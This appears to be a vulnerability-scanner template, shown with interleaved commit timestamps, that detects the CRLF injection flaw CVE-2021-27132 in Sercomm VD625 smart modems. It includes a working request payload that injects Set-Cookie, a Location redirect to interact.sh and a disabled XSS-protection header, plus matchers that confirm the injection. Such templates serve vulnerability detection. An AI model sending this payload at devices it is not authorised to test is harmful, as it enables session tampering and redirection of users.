2021-03-01 14:15:30 +00:00
id : CVE-2021-27132
info :
2022-05-18 20:58:07 +00:00
name : Sercomm VD625 Smart Modems - CRLF Injection
2021-03-01 14:15:30 +00:00
author : geeknik
2021-09-10 11:26:40 +00:00
severity : critical
2022-05-18 20:58:07 +00:00
description : Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132
- http://sercomm.com
2022-05-18 20:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-27132
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-27132
cwe-id : CWE-74
2023-10-14 11:27:55 +00:00
epss-score : 0.03821
2023-10-31 18:27:55 +00:00
epss-percentile : 0.90858
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:o:sercomm:agcombo_vd625_firmware:agsot_2.1.0:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : sercomm
product : agcombo_vd625_firmware
tags : cve,cve2021,crlf,injection
2021-03-01 14:15:30 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-03-01 14:15:30 +00:00
- method : GET
path :
2022-06-06 10:40:15 +00:00
- "{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0"
2021-03-01 14:15:30 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-03-01 14:15:30 +00:00
words :
- "Content-Disposition: attachment;filename=test.txt"
- "Set-Cookie:CRLFInjection=Test"
2022-06-06 10:40:15 +00:00
- "Location: interact.sh"
2021-03-01 20:34:15 +00:00
- "X-XSS-Protection:0"
2021-03-01 14:15:30 +00:00
condition : and
2023-07-11 19:49:27 +00:00
- type : status
part : header
status :
- 404
2023-11-01 14:09:41 +00:00
# digest: 4a0a00473045022100c158ef3c92f21550255373f5c8c1b7d9e5bc719eda93a5943a864b7c6b402247022033389a87bc3514846051371ba42485c1365fb35fe85ef2d57d5bf3b56274500f:922c64590222798bb761d5b6d8e72950